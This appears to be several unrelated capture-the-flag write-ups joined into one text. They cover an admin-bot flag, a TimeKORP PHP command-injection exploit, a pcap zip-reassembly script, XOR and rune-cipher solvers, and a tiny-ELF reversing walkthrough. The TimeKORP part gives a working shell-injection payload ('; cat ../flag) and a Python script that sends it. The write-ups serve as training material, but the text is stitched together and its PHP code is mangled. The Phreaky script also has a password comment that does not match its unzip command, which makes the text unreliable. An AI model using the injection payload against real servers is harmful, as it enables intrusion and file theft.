Using this URL in the `admin-bot` I was able to obtain the flag which concludes this writeup. ```From: samyDeepest Darkest Secret: lactf{b4t_m0s7_0f_a77_y0u_4r3_my_h3r0}``` |
# TimeKORP
TBD
## Writeup
In the **TimeController.php** we can pass a **format** GET param:
```phpview('index', ['time' => $time->getTime()]); }}```
This param is used to inizialize the **TimeModel** object:
```phpcommand = "date '+" . $format . "' 2>&1;; echo $command; }
public function getTime() { $time = exec($this->command); echo $time; $res = isset($time) ? $time : '?'; return $res; }}```
Inside the constructor of the class, there is a **command injection** vulnerability. So we can send this as **format** parameter:
```?format='; cat ../flag #```
To make the exploit working, need to URL encode the **#** mark.
The final exploit is:
```python#!/usr/bin/python3import requestsimport re
ip = "localhost"port = 1337
url = f"http://{ip}:{port}/"
payload = "'; cat ../flag %23"
req = requests.get(url + f"?format={payload}")
print(req.text)```
The flag is:
```HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}``` |
![](https://blog.codydietz.net/images/2024/cyber_apocalypse_2024/phreaky/img.png)
We can pull all the IMF files out of the pcap, and we get a bunch of base64 encoded email attachments with passwords. Putting them all in a script to make the zip file and unzip it:```# Password: r5Q6YQEcGWEFecho "UEsDBAoACQAAAGZ3ZljgCHYp6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MlVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAABu5iZXFr81bsrANalgCyCYLbnWakpnenTTFtNEgA2DnlWwZaWTpsDk81VXCv1hWQgylORABff79cZQT4OYwP1bvjYVOf3xgo24EcTU99Feua+8VNmf4BZ0wZ2BMk3OUz4+F3hTJrWztVJSnQGgFD7O5Bgo7dt2l+MUBn8d+ZA0ETzAzdRV8SBSh4TR0awJzNsiFkq+fWy7uBX+KuQH8UgOeQbWJAWfI6yoznm1KvkNrGoc4XmEjbJlzQw1T6IoAJCVin1PuFepWgNG3iJiGyLqSwPvW2TMWmbYqCGnBvahxLGmGYxOCaGeLlBLBwjgCHYp6QAAAN0AAABQSwECHgMKAAkAAABmd2ZY4Ah2KekAAADdAAAAFgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MlVUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAFwAAABJAQAAAAA=" | base64 -d > 2c586ccfbbc90a11def0b96da52e593b28c617156a8361f7d8ce0febfc517dbf.zipunzip -P r5Q6YQEcGWEF 2c586ccfbbc90a11def0b96da52e593b28c617156a8361f7d8ce0febfc517dbf.zip
# Password: TVm9aC1UycxFecho "UEsDBAoACQAAAGZ3ZljJKeGm6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0M1VUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAAClpsW/gto1vxt+rZZjVotnhKoaNhhzOz+MdqxCcWHfda7pXXkbFXwaA/lANMOcS7/LrFRxqTVqGkTbUDIexbC3kO7dyjJVPXkqPqOwHAXA2o/jq2ORUsdeIaNeZOG/9PGdtOZmeGQowZCDfCHii576VwQBRAV+1G8Xe1rLphPsBCD9uBQ58EUigH0HEanGU6NW6zgfH9ZPlEPHg9AXMuLmLxnqyh3wU13xQYNwSgF1OJhdoZgsVaJBbX83/oI8gDjh9jynVpzAKjQXgTM03sYhCJjIbW1O43JCisFUi4ShUiYXCbzcmWhxjVBLBwjJKeGm6QAAAN0AAABQSwECHgMKAAkAAABmd2ZYySnhpukAAADdAAAAFgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0M1VUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAFwAAABJAQAAAAA=" | base64 -d > 9026fbe65473f451a73c1952abb65e8b32eede754fe9d85eeb01caa8321db487.zipunzip -P TVm9aC1UycxF 9026fbe65473f451a73c1952abb65e8b32eede754fe9d85eeb01caa8321db487.zip
# Password: jISlbC8145Oxecho "UEsDBAoACQAAAGZ3Zli+QTv+6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0NFVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAAASGvRLBBhSc/guGlGU5sHR93zRJxtXsVmpNt415MT1krF1B5YPQEIsi3FpQN+Orr7llB/k2ziA5dzioeBZ8ZXuwB61k/TVVI3I3oop9op3Cl6BpTwc99yWesYbyuad4N2buPTxOCgy43KOuPG9eide3qXHkkt9L8oJ3ZNR+qOU+F5CmE38A0tvWml/XC2/2DSwRI2AXVQD9TD2WF26V17kUKAImuZPrOfYmB8pp0hrxAI9Ja62mYz+EIjqr51Ms457EiJi4Ia6D0Lm3jcrPsKeCHUlJNCzj08AWSBfZqvhr3+JIBVXHebiSFBLBwi+QTv+6QAAAN0AAABQSwECHgMKAAkAAABmd2ZYvkE7/ukAAADdAAAAFgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0NFVUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAFwAAABJAQAAAAA=" | base64 -d > 6c44917c3ae343df55716cb9a611bbad49d310c2215dce59f32c370ba7bf66b0.zipunzip -P jISlbC8145Ox 6c44917c3ae343df55716cb9a611bbad49d310c2215dce59f32c370ba7bf66b0.zip
# Password: AdtJYhF4sFgvecho "UEsDBAoACQAAAGZ3ZlhKc9CT6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0NVVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAACgXw6/ilp0wNpzWRKketbF/ZStw53n68tQVXonvsbCXld2+hEU8oOGDJmNqJPxK7b6qScipwQBuaP7aisMHTGpC5otz0y3zSHKPIRjphFkQPHDEU9gCHmSfNTIc/kWvaDyDWFJY7rfz2QOkQnmY4Wa8uefTXU/0O9X1FCh77dlADxvUoTXwIfMJ/7c6L+cD76gC3BNh5ajhYC6o+4p3XXCaum4x1ETaNUyc44hPHEr6tykoaBawkqaQ+qU39Z89cJRUeYWTr8sKjGPN+f0fa72ALXAxdCEzfZV4rvVTgJTq+IjyScxniKdYFBLBwhKc9CT6QAAAN0AAABQSwECHgMKAAkAAABmd2ZYSnPQk+kAAADdAAAAFgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0NVVUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAFwAAABJAQAAAAA=" | base64 -d > 76b329245795e409d5d9cf1aaa026f8541bb216b4064562bf7684f9b35ea2736.zipunzip -P AdtJYhF4sFgv 76b329245795e409d5d9cf1aaa026f8541bb216b4064562bf7684f9b35ea2736.zip
# Password: j2SRRDraIvUZecho "UEsDBBQACQAIAGZ3Zlgub1pG0gAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0NlVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAAA9siVDz34UldbdpmALh3n3JpC5DSTu5/F8fuitjI/IDhbWyDabhamKNp1fsz7hThUnyS6ibIdFtg+YKTm+Tg8Xba1jM0AAf7r/dIGjDciCXGpH2IzkV/7qgbK25jIufslNzO0T3tCviOj4q5un2zfP+wPxD8cozyoXPmk53btd+Tyt7eGbQ8r9LaLSAxl+LXrUWe9LrxeNTDehMoP+oYG2Wp/xW4Xe7cVHSyXYFa1C/6Fs/uZZv2d1N7+jDBCOpFNSUfwMLeNQSZ3js6RU+DjUWARQSwcILm9aRtIAAADdAAAAUEsBAh4DFAAJAAgAZndmWC5vWkbSAAAA3QAAABYAGAAAAAAAAAAAALSBAAAAAHBocmVha3NfcGxhbi5wZGYucGFydDZVVAUAA8CE6GV1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBcAAAAMgEAAAAA" | base64 -d > 5dc7a18136ec2d085dd747e7869859b00418d2073fc2c6946c1cff84ab56b6ef.zipunzip -P j2SRRDraIvUZ 5dc7a18136ec2d085dd747e7869859b00418d2073fc2c6946c1cff84ab56b6ef.zip
# Password: j2SRRDraIvUZecho "UEsDBAoACQAAAGZ3ZliZDy8d6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0N1VUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAABXkaLlWGcXvDvGXeqNTsDAfvEc0lKQeoBVqOF5aqn75cy8eZVLxqVop4NixzQkNL6cin9cay5McTdKjBoMfkwTgaRuOAJu0Q1ZrSUYeBE1fO4Y8kqGIyty81Gtg2KlMNSc4O+5KAHlPKpimef/g5TaP1Tv4MrmGXEsNeAgjoJqwayDBFXVAW8N6Kr+9wDY4TTBOTsVMN3ZKVML0bU4ng6Z9kV3wLGPiD3aHUBn1STqWv6y2xWJkQapaQ9UDpgLLszjOe1lbReRMypw6mjiK1sVjNPlXFgvlhs0CBrHtKuXHXw5GVK6KT7ntlBLBwiZDy8d6QAAAN0AAABQSwECHgMKAAkAAABmd2ZYmQ8vHekAAADdAAAAFgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0N1VUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAFwAAABJAQAAAAA=" | base64 -d > 81cda62e7c511f30eeeeee64f9be399fb867c460ac96bd6a6171468ad0b6701d.zipunzip -P xh161WSXX7tB 81cda62e7c511f30eeeeee64f9be399fb867c460ac96bd6a6171468ad0b6701d.zip
# Password: yH5vqnkm7Ixaecho "UEsDBAoACQAAAGZ3Zlhtggyo6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0OFVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAAAdQnVCaWFrDEjWzqeKKB2AMYPFi420ZNqxM1yPqH5JisD8HNTACyex0E/ba1jNeoh/EbXy+7QIYZwB8Nw34uwQeXEeY2Fh46RBMBERIqI/jiT7YWorDyD+D+1jdH/IBP1wDmvqtJbLTBz5dj2S+Om0GcvGpv7sSNa9shl0/FIvW3uOBorbQ8cpTh5D01vRxfFGw6v4JBlGhwQLTGPS0EGxD6U/Uogrfwy23E7q+HI6cMPCOuVBTyMHiDj5itTTFKNyZYrAMQkX1OL07I3lgeTWK6IqlYlQO3rT4jPnNA+F+nh6fF0pwZCKMlBLBwhtggyo6QAAAN0AAABQSwECHgMKAAkAAABmd2ZYbYIMqOkAAADdAAAAFgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0OFVUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAFwAAABJAQAAAAA=" | base64 -d > 882d61be23f7a3679ea0b86e6ea7e106dd1b1c1fd693075ba8a76bdba6266706.zipunzip -P yH5vqnkm7Ixa 882d61be23f7a3679ea0b86e6ea7e106dd1b1c1fd693075ba8a76bdba6266706.zip
# Password: tJPUTUfceO1Pecho "UEsDBAoACQAAAGZ3ZlipN5HW6QAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0OVVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAAC7ogPIZPn1boqWXs0fYT9Vq2J2SU/WbuEgNKh8cdDmyc2Qhnk6dfTmyAh0o506e7y90gVhhH2q6ZMIJZ7DGZkC0rJuzB9H9LSKIEaPBChF08Teb2rqQ+wuWh9Bw/wl+7t9nxygjPp7uiiHvZUYVf15u6v9/HkmC5g1wM/6RmUHtez4eidH6Ev/3XfLQr82p6PUWwY+/OXxFPlNBsif0uqQ/PQLOw8ju/7AfvMJwKI7FR7QHVwGMI/Yg4vJ9PFb21NGU0wmv2HkBtjUvly5FDQuNIqxyy+bA9W11u83okQnfj8TAQTcv97C9lBLBwipN5HW6QAAAN0AAABQSwECHgMKAAkAAABmd2ZYqTeR1ukAAADdAAAAFgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0OVVUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAFwAAABJAQAAAAA=" | base64 -d > 961eafc6dcc77fd776c7081be32f6b9c0c14302475a907e077121ccfe6147703.zipunzip -P tJPUTUfceO1P 961eafc6dcc77fd776c7081be32f6b9c0c14302475a907e077121ccfe6147703.zip
# Password: 2qKlZHZlBPQzecho "UEsDBAoACQAAAGZ3Zlj/Gb5u6QAAAN0AAAAXABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MTBVVAkAA8CE6GXAhOhldXgLAAEE6AMAAAToAwAA22IkVozT4hpv67dNaBas9lborysg+A87Nq9ckagEYzZf6R881phUvE8tVImHS4p8pdcmlfnz+icS0+CeENKNQFhJMlHl6jxDyKI4LbzJ2+YWZ/zxaQ2/AMR6GykbDScNlnGtlXOcXe+RDYCrgLgB1iAMLvziMF27db2C9opPLx/x8l+FiQ0Gogn6H4RKjbh9SDOkqzGENuXmo46TlISrjIFBMPvsYpcKHDknDxgHPZvejQj4DZOe//3Qyvksr5xsNIQCx/ezXJVZKqDkUm2D9GsQjGcN8kmCQbxpbYq64iOkYj/fgcptZWZQSwcI/xm+bukAAADdAAAAUEsBAh4DCgAJAAAAZndmWP8Zvm7pAAAA3QAAABcAGAAAAAAAAAAAALSBAAAAAHBocmVha3NfcGxhbi5wZGYucGFydDEwVVQFAAPAhOhldXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAXQAAAEoBAAAAAA==" | base64 -d > c0c845e52d6480e2f5acd4f3ed28c2fd2cde91d00e56b2af19bec6044713a347.zipunzip -P 2qKlZHZlBPQz c0c845e52d6480e2f5acd4f3ed28c2fd2cde91d00e56b2af19bec6044713a347.zip
# Password: mbkUvLZ1koxuecho "UEsDBBQACQAIAGZ3Zlg68XpvyAAAAN0AAAAXABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MTFVVAkAA8CE6GXAhOhldXgLAAEE6AMAAAToAwAA1XFxuJqaVlE3BajxvkjKFU1UNArCCd046Zq3hSv3YQq35vkNnyX2RgCWLO8+IMONpTPAeu8lrkrLU0dyNmk4qZayus+5yfEi8/YCmAgf0PqAoUZq81/8MJ3q/zvIPUIKqy+P7V6EUEy3EXIvexGB9r5vI5Vuyx/y00ct3/ooluaHjBRmmHxxotAm9vl+kJWqmJou9fKDg/RVQX5GUNUZ1XNeBD3HBzZqjZOVkDS1iWI8FCUBtE8reYicAN8vN1+4n9zHYa0FM/lQSwcIOvF6b8gAAADdAAAAUEsBAh4DFAAJAAgAZndmWDrxem/IAAAA3QAAABcAGAAAAAAAAAAAALSBAAAAAHBocmVha3NfcGxhbi5wZGYucGFydDExVVQFAAPAhOhldXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAXQAAACkBAAAAAA==" | base64 -d > 0b094d10ee366aca7410f6f712238af920ddf67a1fbf5f300426fa2868f4efe7.zipunzip -P mbkUvLZ1koxu 0b094d10ee366aca7410f6f712238af920ddf67a1fbf5f300426fa2868f4efe7.zip
# Password: ZN4yKAYrtf8xecho "UEsDBBQACQAIAGZ3ZliBNT+KdgAAAN0AAAAXABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MTJVVAkAA8CE6GXAhOhldXgLAAEE6AMAAAToAwAAC1oSkzON6LaRSbMM8vLsHs98l9V2fmaQYuimQLQJ0GOKCJRSbEDrUnGuzivL1Dm1dKvE0iAYhxBrZrBq1Lr91Ctg0SGitmPxBBmdR176EhK/OOyJnf/Ai9SzC83F95FwRROsD6bwYiHLusjRH/JvgCdRZAZm/1BLBwiBNT+KdgAAAN0AAABQSwECHgMUAAkACABmd2ZYgTU/inYAAADdAAAAFwAYAAAAAAABAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MTJVVAUAA8CE6GV1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBdAAAA1wAAAAAA" | base64 -d > b96e04b11a1f4a0bec9182a7f7fbb47bebcd0c06c1078b10d76780da067a20bd.zipunzip -P ZN4yKAYrtf8x b96e04b11a1f4a0bec9182a7f7fbb47bebcd0c06c1078b10d76780da067a20bd.zip
# Password: 0eA143t4432Mecho "UEsDBBQACQAIAGZ3ZljaTDFBtwAAAN0AAAAXABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MTNVVAkAA8CE6GXAhOhldXgLAAEE6AMAAAToAwAAl+DA7wLy9OkCv23NgbCEuvpekfQ7hu6Se0qee2Byf6bi55r/fnWy8lJbZw4sNuTUBnenVqY5UlFBdLxxf2a6111UTC9x/af72AA/jpFvXAr5MAG61f/1Dk7udSZcep0pKj4IG9/7A8ukd8BmVSfhkJUSlIP3N8lrG4XxaL6z0zmzhNr+ATd2bfI2Dnzb9rb7atrJc+2tPkn7BrziI8X3oEniBlCK57cs5Clh4032UNQ4EVx69ty4UEsHCNpMMUG3AAAA3QAAAFBLAQIeAxQACQAIAGZ3ZljaTDFBtwAAAN0AAAAXABgAAAAAAAEAAAC0gQAAAABwaHJlYWtzX3BsYW4ucGRmLnBhcnQxM1VUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAF0AAAAYAQAAAAA=" | base64 -d > 7599947e6cbb32ef57c996f5f8b027a88d5c15acfe662c9032cd4f0f173c4414.zipunzip -P 0eA143t4432M 7599947e6cbb32ef57c996f5f8b027a88d5c15acfe662c9032cd4f0f173c4414.zip
# Password: oea41WCJrWwNecho "UEsDBBQACQAIAGZ3ZlgEvqDrmwAAAN0AAAAXABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MTRVVAkAA8CE6GXAhOhldXgLAAEE6AMAAAToAwAAKhCv8Ho5I1TZfENnfcarT/3gQrsDqxJ/oAidzEbvaiuJDzGdsQShRTZU8OnTwM8z0rpOusv8RovXzLvb099ai+q7J/AHTNDrTK3WxFqaJ1xGSZH1DNQIHkp70K8l3JT2Ln1zGJ/GpW2fcFNehGxTlUzyH+cNWThPU1OPWFeDrGEpTtkVUTLO1X9lt14dpG5qD1FRtC8AbLygCNZQSwcIBL6g65sAAADdAAAAUEsBAh4DFAAJAAgAZndmWAS+oOubAAAA3QAAABcAGAAAAAAAAQAAALSBAAAAAHBocmVha3NfcGxhbi5wZGYucGFydDE0VVQFAAPAhOhldXgLAAEE6AMAAAToAwAAUEsFBgAAAAABAAEAXQAAAPwAAAAAAA==" | base64 -d > 6cca033a210d9e8d33cac332ecd49639ddd7432ed031d8889c4d0763142381c1.zipunzip -P oea41WCJrWwN 6cca033a210d9e8d33cac332ecd49639ddd7432ed031d8889c4d0763142381c1.zip
# Password: gdOvbPtB0xCKecho "UEsDBBQACQAIAGZ3ZlglJqgafwAAANAAAAAXABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MTVVVAkAA8CE6GXAhOhldXgLAAEE6AMAAAToAwAAFdeY2PjWsfwq91s17mJp5mZWNDs6FOqHJv5Oj2MEfSdKnPpoBa4LJ2Fdtg4E//+SEV8EGeCnMwPsVlG872uVrdPglKNX/78RUrsLQOGssFBOexBskItytFA0ueb9HwsYpD4tmg059QVlsp1JF9ChY03Mj5svIAYT6PWRSqUGXFBLBwglJqgafwAAANAAAABQSwECHgMUAAkACABmd2ZYJSaoGn8AAADQAAAAFwAYAAAAAAABAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MTVVVAUAA8CE6GV1eAsAAQToAwAABOgDAABQSwUGAAAAAAEAAQBdAAAA4AAAAAAA" | base64 -d > d0034e52b6d86170fd0a858a0b333d07e37baae2b2086d6176ee6b060205bf85.zipunzip -P gdOvbPtB0xCK d0034e52b6d86170fd0a858a0b333d07e37baae2b2086d6176ee6b060205bf85.zip
# Password: S3W8yzixNoL8echo "UEsDBBQACQAIAGZ3ZlhwRyBT2gAAAN0AAAAWABwAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MVVUCQADwIToZcCE6GV1eAsAAQToAwAABOgDAAA9mPwEVmy1t/sLJ62NzXeCBFSSSZppyIzvPXL++cJbuCeLnP4XXiAK9/HZL9xRw4LjlDf5eDd6BgBOKZqSn6qpM6g1WKXriS7k3lx5VkNnqlqQIfYnUdOCnkD/1vzCyhuGdHPia5lmy0HoG+qdXABlLyNDgxvB9FTOcXK7oDHBOf3kmLSQFdxXsjfooLtBtC+y4gdBxB4V3bImQ8TB5sPY55dvEKWCJ34CzRJbgIIirkD2GDIoQEHznvJA7zNnOvce1hXGA2+P/XmHe+4KtL/fmrWMVpQEd+/GQlBLBwhwRyBT2gAAAN0AAABQSwECHgMUAAkACABmd2ZYcEcgU9oAAADdAAAAFgAYAAAAAAAAAAAAtIEAAAAAcGhyZWFrc19wbGFuLnBkZi5wYXJ0MVVUBQADwIToZXV4CwABBOgDAAAE6AMAAFBLBQYAAAAAAQABAFwAAAA6AQAAAAA=" | base64 -d > caf33472c6e0b2de339c1de893f78e67088cd6b1586a581c6f8e87b5596efcfd.zipunzip -P S3W8yzixNoL8 caf33472c6e0b2de339c1de893f78e67088cd6b1586a581c6f8e87b5596efcfd.zip```
Cat’ing all the parts together gets the full pdf with the flag at the bottom
`Flag: HTB{Th3Phr3aksReadyT0Att4ck}` |
# Crypto: yORs Truly <3 > Author: shlswnt
> Description: I have encrypted some text but it seems I have lost the key! Can you find it? > Unlock Hint for 0 points: A string of text can be decrypted by merely reapplying the XOR function with the key [yors-truly.py](https://github.com/nopedawn/CTF/blob/main/WolvCTF24/Beginner-yORs-Truly/yors-truly.py)
Given th first chall crypto beginner, this is a classic XOR encryption problem. The plaintext is XORed with a key to get the ciphertext. If we lost the key but have the plaintext and the ciphertext, we can retrieve the key by XORing the plaintext and the ciphertext.
```python {title="yors-truly.py" lineNos=true lineNoStart=1}import base64
plaintext = "A string of text can be encrypted by applying the bitwise XOR operator to every character using a given key"key = "" # I have lost the key!
def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
ciphertext_b64 = base64.b64encode(byte_xor(key.encode(), plaintext.encode()))
ciphertext_decoded = base64.b64decode("NkMHEgkxXjV/BlN/ElUKMVZQEzFtGzpsVTgGDw==")
print(ciphertext_decoded)```
Here's how we can modify the code to find the key:
```python {title="solver.py" lineNos=true lineNoStart=1}import base64
plaintext = "A string of text can be encrypted by applying the bitwise XOR operator to every character using a given key"
def byte_xor(ba1, ba2): return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])
ciphertext_decoded = base64.b64decode("NkMHEgkxXjV/BlN/ElUKMVZQEzFtGzpsVTgGDw==")
key = byte_xor(plaintext.encode(), ciphertext_decoded)
print(key)```
This will print the key that was used to encrypt the plaintext. > Flag: `wctf{X0R_i5_f0rEv3r_My_L0Ve}` |
Changed the challenge code to Python.Solver:```def decrypt_flag(encrypted_flag): runed = [] z = "\x00"
for v in encrypted_flag: runed.append(chr(ord(v) - ord(z))) z = runed[-1]
return ''.join(runed)
def main(): try: with open("the", "r") as file: encrypted_flag = file.read().strip() flag = decrypt_flag(encrypted_flag) print("Decrypted flag: ", flag) except Exception as e: print(e) finally: file.close()
if __name__ == "__main__": main()
```[Challenge source code](https://github.com/naivenom/reversing-list/tree/master/whats-a-rune) |
# BraekerCTF 2024
## Binary shrink
> After hearing about young computer problems, you have decided to become a computer shrink. Your first patient is a robot elf.>>>"A little machine dream I keep having, " she says. "But when it is over, I always forget the end. I've captured the dream's program, but I don't dare look".>>>Can you run the program for her? Are you able to figure out what's in her memory right before execution stops?>> Author: spipm>> [`binary_shrink.zip`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/braekerctf24/rev/binary_shrink/binary_shrink.zip)
Tags: _rev_
## SolutionThis challange is a follow up challenge of [`Embryobot`](https://raw.githubusercontent.com/D13David/ctf-writeups/main/braekerctf24/rev/binary_shrink/../embryobot/README.md). The technique here is the same as described before. A [`Tiny ELF`](https://nathanotterness.com/2021/10/tiny_elf_modernized.html) is given and we start making sense of it by nopping out parts that normally cannot be changed in `ELF files` and dumping the disassembly.
The hexdump again is fairly small and we start by investigating where the entry point is pointing to (`offset 18h points to 8048009h`). If we remove the base address part we can see the program jumps to `09h` within our image.
```bash00000000 7F 45 4C 46 02 01 01 00 00 E8 2C 00 00 00 13 37 .ELF......,....700000010 02 00 3E 00 01 00 00 00 09 80 04 08 00 00 00 00 ..>.............00000020 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 @...............00000030 00 00 00 00 40 00 38 00 01 00 5A 48 89 D0 EB 38 [email protected]00000040 01 00 00 00 03 00 00 00 00 00 00 00 00 00 00 00 ................00000050 00 80 04 08 00 00 00 00 00 80 04 08 00 00 00 00 ................00000060 01 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................00000070 00 10 00 00 00 00 00 00 48 81 C2 91 00 00 00 48 ........H......H00000080 83 E8 0E 48 89 C6 31 C9 B1 56 48 89 F0 40 8A 30 [email protected]00000090 40 30 32 48 83 32 42 48 FF C2 48 FF C0 E2 EE D6 @02H.2BH..H.....000000A0 26 6C 76 23 28 38 76 2C F5 0B 0E 04 1D 19 10 74 &lv#(8v,.......t000000B0 26 23 04 36 0E 0E 1D 7B 84 19 07 76 06 0C 07 51 &#.6...{...v...Q000000C0 11 3F C2 78 42 37 83 1A 03 FA 7C 78 6B 48 03 12 .?.xB7....|xkH..000000D0 0A BD 85 4A CB 9C 0A 72 90 AA 02 C4 97 E1 4B 83 ...J...r......K.000000E0 0A BD 82 D1 8F C2 ......```
Again, if we dump the disassembly (this time file tells us it's a 64-bit binary) the disassembler doesn't line up with out jump offset `09h`, so we need to give a bit of help by replacing some bytes immediately before this offset with nops.
```bash$ objdump -D -Mintel,x86-64 -b binary -m i386 binary_shrink
0: 90 nop1: 90 nop2: 90 nop3: 90 nop4: 90 nop5: 90 nop6: 90 nop7: 90 nop8: 90 nop9: e8 2c 00 00 00 call 0x3ae: 13 37 adc esi,DWORD PTR [rdi]```
Right, the program calls to offset `3ah` so we move on from there helping the disassembler again with some bytes replaced with nop instructions.
```bash39: 90 nop ; we replaced this one byte with a nop3a: 5a pop rdx ; pops the return address (804800eh) from stack3b: 48 89 d0 mov rax,rdx ; assigns the return address to rax3e: eb 38 jmp 0x78 ; jumps to offset 78h```
This snipped is used to get the a valid address with image base into `rdx` and `rax` and then jumps to another offset. Lets continue there. This time the instructions are aligned already so the disassembler gives us the correct output.
```bash78: 48 81 c2 91 00 00 00 add rdx,0x91 ; add 91h to rdx, rdx points now to 9fh (relative to base)7f: 48 83 e8 0e sub rax,0xe ; substracting 0eh from rax, rax points now to the base address (image start in memory)83: 48 89 c6 mov rsi,rax86: 31 c9 xor ecx,ecx ; ecx = 088: b1 56 mov cl,0x56 ; set low byte of ecx, ecx = 56h8a: 48 89 f0 mov rax,rsi8d: 40 8a 30 mov sil,BYTE PTR [rax] ; load byte from at offset of rax90: 40 30 32 xor BYTE PTR [rdx],sil ; xor byte at offset of rdx with the loaded byte93: 48 83 32 42 xor QWORD PTR [rdx],0x42 ; xor byte at offset of rdx with 42h97: 48 ff c2 inc rdx ; increase rdx and rax9a: 48 ff c0 inc rax9d: e2 ee loop 0x8d ; loop back to 8dh if ecx is not zero9f: d6 (bad) ; bad code... from here :(```
This looks just like a loop doing some `xor encryption`. In total `86` bytes are rewritten while the target (`rdx`) starts at offset `9fh` (the instruction just after the loop that is marked as `bad`). And the source (`rax`) starts at the base address (where our `ELF header` is). Then the program loops over 86 bytes in total xoring them and additionally xoring the target byte with `42h`. This also explains why the following instructions where not disassembled correclty. So lets write a small script that decrypts the code for us.
```pythondata = bytearray(open("binary_shrink", "rb").read())
# add some bytes as the loop overflows our image quite a bitfor i in range(0,15): data.append(0)
# this is more or less 1:1 taken from our disassemblyrdx = 0xerax = rdxrdx += 0x91rax -= 0xersi = raxecx = 0cl = 0x56rax = rsi
# encrypt the instructionswhile True: sil = data[rax] data[rdx] ^= sil data[rdx] ^= 0x42 rdx += 1 rax += 1 cl -= 1 if cl == 0: break
open("binary_shrink_out", "wb").write(data)```
Now we get the following:
```bash78: 48 81 c2 91 00 00 00 add rdx,0x917f: 48 83 e8 0e sub rax,0xe83: 48 89 c6 mov rsi,rax86: 31 c9 xor ecx,ecx88: b1 56 mov cl,0x568a: 48 89 f0 mov rax,rsi8d: 40 8a 30 mov sil,BYTE PTR [rax]90: 40 30 32 xor BYTE PTR [rdx],sil93: 48 83 32 42 xor QWORD PTR [rdx],0x4297: 48 ff c2 inc rdx9a: 48 ff c0 inc rax9d: e2 ee loop 0x8d ; the loop as we had it before9f: eb 21 jmp 0xc2 ; jump to c2h now
...
c2: 80 3a 00 cmp BYTE PTR [rdx],0x0 ; is [rdx] != 0...c5: 75 c1 jne 0x88 ; ... then jump to 88hc7: 58 pop rax ; ... otherwise continue here, pops '1' from stackc8: 41 b8 3e 3a 29 0a mov r8d,0xa293a3e ; string for '>:)\n'ce: 41 50 push r8d0: 48 ff c7 inc rdid3: 48 89 e6 mov rsi,rspd6: 48 31 d2 xor rdx,rdxd9: b2 08 mov dl,0x8db: 0f 05 syscall
; exit programdd: 48 31 c0 xor rax,rax ; rax = 0e0: 48 ff c0 inc rax ; rax = 1e3: 90 nope4: cd 80 int 0x80 ; syscall exit```
The following instructions setup another syscall to `1` (write), a string of `length 8` (rdx = 8) is written to `stdout` (rdi = 1), the string is pushed to stack (`rsi=rsp`). The string output is a smiley, then the program exits. Interesting, no flag. The description says we should check out the memory on program exist, so lets use radare2 and set a breakpoint somewhere before the program exits.
```bash$ r2 -d binary_shrink[0x08048009]> db 0x080480d9[0x08048009]> dc[+] SIGNAL 4 errno=0 addr=0x080480d9 code=2 si_pid=134512857 ret=0[+] signal 4 aka SIGILL received 0 (Illegal instruction)V!Press `m`View -> Hexdump```
![](https://raw.githubusercontent.com/D13David/ctf-writeups/main/braekerctf24/rev/binary_shrink/memory_dump.png)
To be fair, since we decrypted the program ourself we could also just have looked at the hexdump or used strings on the program.
